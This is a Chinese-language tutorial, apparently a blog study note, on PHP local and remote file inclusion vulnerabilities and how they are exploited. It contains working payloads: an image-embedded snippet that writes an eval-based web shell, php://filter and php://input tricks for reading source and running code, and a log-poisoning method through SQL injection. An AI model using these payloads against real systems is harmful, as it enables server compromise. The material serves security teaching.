文件包含漏洞
文件包含
开发人员通常把可重复使用的函数单独写在一个文件,在使用某函数时直接调用此文件,这就是文件包含
通常会把包含的文件设置为变量来进行动态调用,导致客户端可以调用任意文件,造成文件包含漏洞
函数
php中有四个文件包含的函数,include,include_once,require,require_once
函数 区别
include() 文件包含失败时会产生警告,脚本继续运行
include_onece() 与include()功能相同,文件只会被包含一次
require() 文件包含失败时产生错误,直接结束脚本执行
require_once() 与require()功能相同,文件只会被包含一次
相关配置
文件包含是php的基本功能之一,分为本地文件包含和远程文件包含,通过php.ini来配置
allow_url_fopen=On/Off (本地文件包含)
allow_url_include=On/Off (远程文件包含)
本地文件包含(LFI)
本地文件包含就是可以通过相对路径的方式找到文件并且包含它。
远程文件包含(RFI)
远程文件包含就是我们可以通过http或者ftp等方式远程包含文件
漏洞特点
PHP提供的文件包含功能非常强大,有以下特点
1.无视文件拓展名读取文件
包含文件时,php会读取文件的源码,包括图片文件。包含文件时包含的是文件的源码。
2.无条件解析php代码
文件包含在读取文件源码的时候,如果遇到符合php语法规范的代码就会无条件执行。包含图片马的时候也会当作php解析。
文件包含漏洞利用
读取敏感文件:
条件:1.目标主机文件存在;2.具有文件可读权限
直接包含图片木马:
利用文件包含漏洞直接包含图片木马,然后用蚁剑进行连接
包含木马写shell:
将如下代码写入图片中,<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd']); ?>"); ?>
这段代码的含义是在当前目录下创建一个名为shell.php的文件,内容为<?php @eval(\$_REQUEST['cmd']); ?>,当我们包含图片时,代码就会被执行
利用php伪协议传输php文件
?path=php://filter/read=convert.base64-encode/resource=index.php,解码后就是index.php的源代码
利用php伪协议执行php代码
?path=php://input 然后用post写入想要执行的代码
面试:存在本地文件包含漏洞,但没有文件上传API,怎么利用
思路:把shell写入日志文件,文件包含日志文件getshell。比如找到一个可以sql注入的地方,执行select "<?php @eval($_POST['shell']);?>",找到日志文件地址后包含日志文件
【精选】【文件包含漏洞-04】经典面试题:已知某网站仅存在本地文件包含漏洞时,如何GetShell?_本地文件包含怎么getshell-CSDN博客